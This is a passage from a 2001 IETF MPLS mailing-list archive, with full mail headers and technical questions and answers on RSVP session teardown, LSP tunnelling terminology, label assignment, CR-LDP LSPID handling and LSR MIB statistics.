<BR><FONT SIZE=3D2 FACE=3D"Arial">-the lifetime of the requested =
CR-LSPs</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">-the size of bandwidth that each =
CR-LSP request can ask.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Tziouvaras Chrysostomos</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">ICS-FORTH Researcher</FONT>
</P>

<P>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C0D680.FA6561C0--


From owner-mpls@UU.NET  Sun May  6 20:45:37 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA15505
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 20:45:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxi20689;
	Mon, 7 May 2001 00:44:11 GMT
Received: by mail-control.mail.uu.net 
	id QQknxi05328
	for mpls-outgoing; Mon, 7 May 2001 00:43:39 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknxi05320
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 00:43:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknxi25667
	for <mpls@UU.NET>; Mon, 7 May 2001 00:43:10 GMT
Received: from dnsmx1pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQknxi23045
	for <mpls@UU.NET>; Mon, 7 May 2001 00:43:09 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id UAA22868;
	Sun, 6 May 2001 20:39:31 -0400 (EDT)
Subject: disconnect connection
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Sun, 6 May 2001 20:39:58 -0400
Message-ID: <OF203AD0B0.87CD3A5C-ON85256A45.0001BC10@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/06/2001 08:39:59 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi David,

I have questions for disconnecting(clear connection).

1.  Suppose LSR received Path message from Ingress router, and LSR sent out
Resv message back.  If the LSR wanted to tear down this session, it will
send out ResvTear to Ingress router, and Ingress router will take out the
Resv state of LSR, and do not response back anything, this session will be
ended. I may wrong.

2.  another way round, if there is LSR and it  forwarded Path message to
Egress router, and Egress router sent back Resv message to LSR, suppose the
LSR wants to tear down this session, it will send out the PathTear to the
Egress router, and Egress router will move the Path state of LSR, do not
response anything, this session is ended. Did I understand correct?

3. If the Ingress router sends out the Path message, but the no Resv
message sent back from LSR, does Ingress router need to send out PathTear
to clear the path state in case that this Path state has already been sent
there.

4.  How about the transit router to try to clear/tear down the session?

Can you help me to understand more of the RSVP protocol.

Thanks in an advance.

Julia





From owner-mpls@UU.NET  Sun May  6 23:38:19 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA18744
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 23:38:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxu27631;
	Mon, 7 May 2001 03:37:14 GMT
Received: by mail-control.mail.uu.net 
	id QQknxu15872
	for mpls-outgoing; Mon, 7 May 2001 03:36:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknxu15864
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 03:36:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknxu21441
	for <mpls@uu.net>; Mon, 7 May 2001 03:36:09 GMT
Received: from bgslc02.TBG.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.99.125.2])
	id QQknxu05610
	for <mpls@uu.net>; Mon, 7 May 2001 03:36:08 GMT
Received: by BGSLC02 with Internet Mail Service (5.5.2650.21)
	id <KDMDGK50>; Sun, 6 May 2001 21:21:42 -0600
Message-ID: <0C875DC28791D21192CD00104B95BFE701E49A98@BGSLC02>
From: Irwin Lazar <ILazar@tbg.com>
To: mpls@UU.NET
Subject: "Dynamic" MPLS
Date: Sun, 6 May 2001 21:21:41 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0D6A4.D5BFC2CE"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0D6A4.D5BFC2CE
Content-Type: text/plain;
	charset="iso-8859-1"

An article in this month's "Wired" on Caspian Networks claims that they use
a patented approach called "Dynamic" MPLS to detect and classify packet
flows such as voice, video and data, or even data from a specific customer.
They claim that their D/MPLS architecture provides performance far greater
than what is currently available from packet-based routers from Cisco,
Juniper & Pluris.
 
I've never heard the term "Dynamic" MPLS before.  Could someone provide any
pointers?  Are these claims valid?
 
AFAIK, once you get inside the boxes, the core router switching fabrics from
Cisco & Juniper are all cell-based, not packet based, is that correct?
 
Thanks in advance,
Irwin

------_=_NextPart_001_01C0D6A4.D5BFC2CE
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.50.4611.1300" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=887410023-06052001><FONT face=Arial size=2>An article in this 
month's "Wired" on Caspian Networks claims that they use&nbsp;a patented 
approach called&nbsp;"Dynamic" MPLS to detect and classify packet flows such as 
voice, video and data, or even data from a specific customer.&nbsp; They claim 
that their D/MPLS architecture provides performance far greater than what is 
currently available from packet-based routers from Cisco, Juniper &amp; 
Pluris.</FONT></SPAN></DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial size=2>I've never heard the 
term "Dynamic" MPLS before.&nbsp; Could someone provide any pointers?&nbsp; Are 
these claims valid?</FONT></SPAN></DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial size=2>AFAIK, once you get 
inside the boxes, the core router switching fabrics&nbsp;from Cisco &amp; 
Juniper are all cell-based, not packet based, is that 
correct?</FONT></SPAN></DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial size=2>Thanks in 
advance,</FONT></SPAN></DIV>
<DIV><SPAN class=887410023-06052001><FONT face=Arial 
size=2>Irwin</FONT></SPAN></DIV></BODY></HTML>

------_=_NextPart_001_01C0D6A4.D5BFC2CE--


From owner-mpls@UU.NET  Mon May  7 00:11:40 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA19054
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 00:11:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxw22409;
	Mon, 7 May 2001 04:10:44 GMT
Received: by mail-control.mail.uu.net 
	id QQknxw07340
	for mpls-outgoing; Mon, 7 May 2001 04:09:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknxw07314
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 04:09:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknxw24161
	for <mpls@uu.net>; Mon, 7 May 2001 04:09:22 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQknxw26430
	for <mpls@uu.net>; Mon, 7 May 2001 04:09:19 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f474ARf19269;
	Mon, 7 May 2001 09:40:27 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A45.00157883 ; Mon, 7 May 2001 09:24:31 +0530
X-Lotus-FromDomain: HSS
To: "Gross, Gerhard" <gerhard.gross@intel.com>
cc: mpls@UU.NET
Message-ID: <65256A45.00157493.00@sandesh.hss.hns.com>
Date: Mon, 7 May 2001 09:38:34 +0530
Subject: Re: terminology
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk




Hi Grey,

As per my understanding, the section 3.27 of RFC 3031 just wants to emphasise
that both LSP tunneling as well as network layer tunneling can be used for
routing mpls packets. For e.g.

Let the network topology is like

A------B------C------D-------E

Now say an unlabeled packet comes at ingress router A, with say destination X.
Router A finds that the next LSR to which this datagram should be forwarded is
E. Now two cases may arise.

1. There is not an LSP between A and E, but there is a routing table entry in A
for the router E. In this case LSR A will first push the label which is
understood by E.  Then A will forward the datagram so formed after pushing the
label for E to the IP forwarding function specifying the destination hop for
this datagram to be router E. This is normal network layer tunneling used for
forwarding the mpls packets. In my opinion this type of tunneling cannot be used
if we want some sort of quality of service also. This can only be used if we
want only destination based forwarding of mpls datagrams.

2. There is an LSP between A to E(obviously using LSP tunneling). Then A will
first push the label which is understood by E. Then push the label which is
understood by B, and it will forward the datagram to LSR B. At LSR D, the
datagram that will be forwarded to E will contain only that label that is
understood by E. This is the case with LSP tunneling.

Pls correct me if I am wrong.

Regards
Mohit Goel




"Gross, Gerhard" <gerhard.gross@intel.com> on 05/03/2001 11:06:09 PM

To:   "'mpls@uu.net'" <mpls@UU.NET>
cc:    (bcc: Mohit Goel/HSS)

Subject:  terminology




Sorry, sent previous message prematurely.
Once again...

The definitions "LSP tunnel" in the docs
seem to be somewhat misleading. For example,
section 3.27.3 of RFC 3031 states:

"It is possible to implement a tunnel as a
LSP, and use label switching rather than
network layer encapsulation to cause the
packet to travel through the tunnel. ...
This is called a "LSP Tunnel."

This is standard MPLS as far as I tell.
Why rename it?

Also, section 1 of draft-ietf-mpls-rsvp-lsp-tunnel-08.txt
states:

"Since the traffic that flows along a label-switched path is defined
by the label applied at the ingress node of the LSP, these paths can
be treated as tunnels, tunneling below normal IP routing and
filtering mechanisms.  When an LSP is used in this way we refer to it
as an LSP tunnel."

Again this seems to be just normal use of MPLS.
The text implies that an LSP tunnel is a special
case of MPLS. Is there any other use of MPLS?

Thanks!
Gery

        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        X                                         X
        X    Gerhard W. Gross, Ph.D.              X
        X    Intel                                X
        X    2111 NE 25th Ave                     X
        X    Hillsboro, OR 97124-5961, USA        X
        X    Internet Infrastructure Arch. Group  X
        X      - Internet and Communication Lab   X
        X    phone:    (503) 264-6389             X
        X    fax:      (503) 264-3483             X
        X    email:    gerhard.gross@intel.com    X
        X                                         X
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX









From owner-mpls@UU.NET  Mon May  7 00:14:51 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA19096
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 00:14:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxw05337;
	Mon, 7 May 2001 04:13:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknxw07945
	for mpls-outgoing; Mon, 7 May 2001 04:13:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknxw07915
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 04:12:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknxw02071
	for <mpls@uu.net>; Mon, 7 May 2001 04:12:52 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQknxw03587
	for <mpls@uu.net>; Mon, 7 May 2001 04:12:49 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f474E7s19528
	for <mpls@uu.net>; Mon, 7 May 2001 09:44:07 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A45.0015B54C ; Mon, 7 May 2001 09:27:06 +0530
X-Lotus-FromDomain: HSS
To: mpls@UU.NET
Message-ID: <65256A45.0015B08F.00@sandesh.hss.hns.com>
Date: Mon, 7 May 2001 09:26:50 +0530
Subject: a simple question!
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi!
     why was downstream label assignment chosen in MPLS over upstream label
assignment as is the case with generalised MPLS? Is there any specific
advantage/constraint posed by the downstream label assignment method?

regards
sumit




From owner-mpls@UU.NET  Mon May  7 00:56:10 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA19441
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 00:56:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxz22376;
	Mon, 7 May 2001 04:55:02 GMT
Received: by mail-control.mail.uu.net 
	id QQknxz11110
	for mpls-outgoing; Mon, 7 May 2001 04:54:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknxz11102
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 04:54:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknxz11792
	for <mpls@uu.net>; Mon, 7 May 2001 04:53:20 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQknxz19902
	for <mpls@uu.net>; Mon, 7 May 2001 04:53:17 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f474sXq22702
	for <mpls@uu.net>; Mon, 7 May 2001 10:24:33 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A45.00198716 ; Mon, 7 May 2001 10:08:49 +0530
X-Lotus-FromDomain: HSS
To: mpls@UU.NET
Message-ID: <65256A45.001985E6.00@sandesh.hss.hns.com>
Date: Mon, 7 May 2001 10:08:45 +0530
Subject: Attributes of a Label Binding
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi all!
     referring to section 3.5 of RFC 3031;-

what are these attributes being talked about that may be learned from the
downstream LSR for a particular bind. To me if anything is specific to a binding
for a particular FEC then it should be a part of the FEC itself i.e. it should
be one of the FEC elements that defines that packet class. I am not able to
appreciate the need for any other information that needs to exist and be
exchanged for a binding.

regards
sumit




From owner-mpls@UU.NET  Mon May  7 06:39:27 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA05302
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 06:39:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknyw01374;
	Mon, 7 May 2001 10:38:30 GMT
Received: by mail-control.mail.uu.net 
	id QQknyw01120
	for mpls-outgoing; Mon, 7 May 2001 10:37:58 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknyw01111
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 10:37:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknyw26332
	for <mpls@UU.NET>; Mon, 7 May 2001 10:37:37 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQknyw00070
	for <mpls@UU.NET>; Mon, 7 May 2001 10:37:36 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.9.3+Sun/8.9.3) with SMTP id QAA06841
	for <mpls@UU.NET>; Mon, 7 May 2001 16:15:54 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GCYOGA00.GD8 for <mpls@UU.NET>; Mon, 7 May 2001 16:13:22 +0530 
Date: Mon, 7 May 2001 16:12:52 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: mpls@UU.NET
Subject: LSPID in CRLDP, 
Message-ID: <Pine.LNX.4.21.0105071558380.8077-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

	The LSPID TLV in section 4.5 of draft-ietf-mpls-cr-ldp-04 is given
to be ingress LSR ID (or its own IP address).

	When a LSR receive ER Hops composed of LSPID as the second ER HOP
and the LSR is not part of this LSPID, then LSR is supposed to propagate
this request to a next hop that is along the path to the ingress of the
tunnel formed by the LSPID.
	My question is how do I find this path if the LSPID is composed of
router ID. I mean if this is composed of IPv4 address, then LSR can find a
path to this LSPID ingress tunnel, but what happens with the router ID.

	I went thro' the archives could not find any solutions on this..

	
Thanks
Chetan S

___________
The reasonable man adapts himself to the world; the unreasonable one
persists in trying to adapt the world to himself.  Therefore all
progress depends on the unreasonable man.
                -- George Bernard Shaw




From owner-mpls@UU.NET  Mon May  7 08:54:00 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA09647
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 08:54:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzf28286;
	Mon, 7 May 2001 12:52:32 GMT
Received: by mail-control.mail.uu.net 
	id QQknzf20235
	for mpls-outgoing; Mon, 7 May 2001 12:51:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknzf20227
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 12:51:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzf14309
	for <mpls@uu.net>; Mon, 7 May 2001 12:51:47 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknzf26861
	for <mpls@uu.net>; Mon, 7 May 2001 12:51:46 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id IAA07205 for mpls@uu.net; Mon, 7 May 2001 08:51:45 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknzf20179
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 12:51:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzf11038
	for <mpls@UU.NET>; Mon, 7 May 2001 12:50:44 GMT
Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97])
	id QQknzf25094
	for <mpls@UU.NET>; Mon, 7 May 2001 12:50:43 GMT
Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f47CnYm21145;
	Mon, 7 May 2001 08:49:34 -0400 (EDT)
Received: from TNADEAU-PC02.cisco.com (tnadeau-frame2.cisco.com [10.84.75.67])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAB01597;
	Mon, 7 May 2001 08:50:41 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010507085305.018f9ac8@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 07 May 2001 08:53:32 -0400
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
Subject: Re: LSR MIB question
In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C18@BBY1EXM01>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


         Both. You should keep track of information for both of
the labels involved.

         --Tom


>If an LSR is the origin point of an MPLS tunnel, and it receives an MPLS 
>packet, it first swaps the top label and pushes a new label on top of 
>that. Which performance statistics are required to be collected by 
>LSR-MIB: The swapped label or the pushed label or both?
>
>Yours,
>Shahram Davari
>
>



From owner-mpls@UU.NET  Mon May  7 09:22:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10675
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 09:22:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzh14453;
	Mon, 7 May 2001 13:21:15 GMT
Received: by mail-control.mail.uu.net 
	id QQknzh11840
	for mpls-outgoing; Mon, 7 May 2001 13:20:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknzh11835
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 13:20:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzh09686
	for <mpls@UU.NET>; Mon, 7 May 2001 13:20:24 GMT
Received: from mail-blue.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQknzh13185
	for <mpls@UU.NET>; Mon, 7 May 2001 13:20:24 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 6C5E94DA60; Mon,  7 May 2001 09:13:29 -0400 (EDT)
Received: from research.att.com (dhcp145.research.att.com [135.207.28.145])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id JAA16228;
	Mon, 7 May 2001 09:13:28 -0400 (EDT)
Message-ID: <3AF6A02A.895E4D9F@research.att.com>
Date: Mon, 07 May 2001 09:16:27 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: suchauhan@hss.hns.com
Cc: mpls@UU.NET
Subject: Re: a simple question!
References: <65256A45.0015B08F.00@sandesh.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I can figure out one reason:

(1) It is convenient to achieve LSP merging, i.e., to generate a destination
rooted tree.

--- guangzhi

suchauhan@hss.hns.com wrote:

> hi!
>      why was downstream label assignment chosen in MPLS over upstream label
> assignment as is the case with generalised MPLS? Is there any specific
> advantage/constraint posed by the downstream label assignment method?
>
> regards
> sumit



From owner-mpls@UU.NET  Mon May  7 09:54:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA12011
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 09:54:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzj00367;
	Mon, 7 May 2001 13:53:44 GMT
Received: by mail-control.mail.uu.net 
	id QQknzj14774
	for mpls-outgoing; Mon, 7 May 2001 13:52:35 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknzj14737
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 13:52:17 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzj05067
	for <mpls@uu.net>; Mon, 7 May 2001 13:51:51 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQknzj27612
	for <mpls@uu.net>; Mon, 7 May 2001 13:51:51 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f47Dpon12295
	for <mpls@uu.net>; Mon, 7 May 2001 06:51:50 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA14315 for mpls@uu.net; Mon, 7 May 2001 09:51:49 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknzh12467
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 13:27:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzh07160
	for <mpls@UU.NET>; Mon, 7 May 2001 13:26:21 GMT
Received: from anti_vir1.rad.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [192.116.244.108])
	id QQknzh22047
	for <mpls@UU.NET>; Mon, 7 May 2001 13:26:19 GMT
Received: from anti_vir1.rad.co.il (localhost [127.0.0.1])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id QAA19081
	for <mpls@UU.NET>; Mon, 7 May 2001 16:27:15 +0200 (IST)
Received: from radmail.rad.co.il (radmail [192.114.24.30])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id QAA19065;
	Mon, 7 May 2001 16:27:14 +0200 (IST)
Received: from tlv1.axerra.com ([192.168.254.14]) by radmail.rad.co.il
          (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35)
          with ESMTP id il; Mon, 7 May 2001 16:27:14 +0300
